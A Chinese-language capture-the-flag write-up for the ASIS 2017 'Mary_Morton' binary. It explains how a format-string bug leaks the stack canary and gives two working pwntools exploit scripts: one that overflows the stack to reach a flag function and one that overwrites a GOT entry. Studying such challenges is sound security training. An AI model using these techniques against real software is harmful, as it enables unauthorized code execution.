从格式化字符串泄露canary到栈溢出

时间:2024-05-23 12:03:47

以ASIS-CTF-Finals-2017 Mary_Morton为例

checksec查看,开了NX保护,还有canary

从格式化字符串泄露canary到栈溢出

IDA打开

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  const char *v3; // rdi
  int v4; // [rsp+24h] [rbp-Ch]
  unsigned __int64 v5; // [rsp+28h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  sub_4009FF();
  puts("Welcome to the battle ! ");
  puts("[Great Fairy] level pwned ");
  v3 = "Select your weapon ";
  puts("Select your weapon ");
  while ( 1 )
  {
    while ( 1 )
    {
      sub_4009DA(v3);
      v3 = "%d";
      __isoc99_scanf("%d", &v4);
      if ( v4 != 2 )
        break;
      sub_4008EB();
    }
    if ( v4 == 3 )
    {
      puts("Bye ");
      exit(0);
    }
    if ( v4 == 1 )
    {
      sub_400960();
    }
    else
    {
      v3 = "Wrong!";
      puts("Wrong!");
    }
  }
}

int sub_4009DA()
{
  puts("1. Stack Bufferoverflow Bug ");
  puts("2. Format String Bug ");
  return puts("3. Exit the battle ");
}

发现输入2 进入的函数中有格式化字符串洞

unsigned __int64 sub_4008EB()
{
  char buf; // [rsp+0h] [rbp-90h]
  unsigned __int64 v2; // [rsp+88h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  memset(&buf, 0, 0x80uLL);
  read(0, &buf, 0x7FuLL);
  printf(&buf, &buf);
  return __readfsqword(0x28u) ^ v2;
}

 

输入1 进入的函数中有栈溢出漏洞

unsigned __int64 sub_400960()
{
  char buf; // [rsp+0h] [rbp-90h]
  unsigned __int64 v2; // [rsp+88h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  memset(&buf, 0, 0x80uLL);
  read(0, &buf, 0x100uLL);
  printf("-> %s\n", &buf);
  return __readfsqword(0x28u) ^ v2;
}

 

这个题有两种做法

方法一:通过格式化字符串漏洞泄露canary,然后利用栈溢出漏洞执行cat flag函数

canary在入栈后,会清空eax中的数据

           从格式化字符串泄露canary到栈溢出

            而在一个函数执行完之后,canary的值会被再取出来,和现在的canary的值比较

            从格式化字符串泄露canary到栈溢出

        

                在printf函数处下断

1.确定可控输入时格式化字符串的第6个参数

从格式化字符串泄露canary到栈溢出

2.再确定canary和输入的参数参数之间的偏移

(1).由IDA中可看出,canary与buf之间距离0x88(136)个字节,因为是64位,以8 个字节为一个        单位,136/8=17,那么canary距离格式化字符串函数23(17+6)个参数的距离

char buf; // [rsp+0h] [rbp-90h]

  unsigned __int64 v2; // [rsp+88h] [rbp-8h]

 (2)也可以用GDB来查看

    从格式化字符串泄露canary到栈溢出

   查看栈中内容,计算canary和输入数据的偏移7FFFFFFFE058-7fffffffdfd0=0x88

    从格式化字符串泄露canary到栈溢出

编写exp

from pwn import *

r = remote('111.198.29.45','30473')
win = p64(0x4008de)
r.sendlineafter('3. Exit the battle \n', b'2')
r.sendline('%23$p')
pause(3)
canary = r.recv()
canary = int(re.search(b'0x[0-9a-f]{16}', canary).group(), 16)
log.info("canary ==> {0:x}".format(canary))

r.sendline(b'1')
payload = b"A" * 136
payload += p64(canary)
payload += b"W" * 8
payload += win * 4

r.sendline(payload)
print(r.recv())
print(r.recv())

从格式化字符串泄露canary到栈溢出

方法二:通过格式化字符串洞覆盖函数地址,执行 catflag函数

确定可控输入时格式化字符串的第6个参数

从格式化字符串泄露canary到栈溢出

使用python第三方库formatStringExploiter  更多详细信息:https://formatstringexploiter.readthedocs.io/en/latest/formatStringExploiter.html

从格式化字符串泄露canary到栈溢出

先定义connect函数用来连接程序,定义exec_fmt实现payload的发送

 编写利用exp

from pwn import *
from time import sleep
from formatStringExploiter.FormatString import FormatString

elf = ELF('./mary_morton')
flag_addr = 0x04008DA
print_addr = elf.got['printf']

def connect():
    global sh
    sh = remote('111.198.29.45',30559)
    sh.recvuntil('battle \n')
def exec_fmt(s):
    sh.sendline('2')
    sleep(0.1)
    sh.sendline(s)
    ret = sh.recvuntil('1. Stack Bufferoverflow', drop=True)
    sh.recvuntil('battle \n')
    return ret

connect()
payload = FormatString(exec_fmt,elf=elf,index=6,pad=0,explore_stack=False)
payload.write_q(print_addr,flag_addr)
sh.sendline("1")
sh.sendline("1")
sh.interactive()

从格式化字符串泄露canary到栈溢出

推荐阅读:https://veritas501.space/2017/04/28/%E8%AE%BAcanary%E7%9A%84%E5%87%A0%E7%A7%8D%E7%8E%A9%E6%B3%95/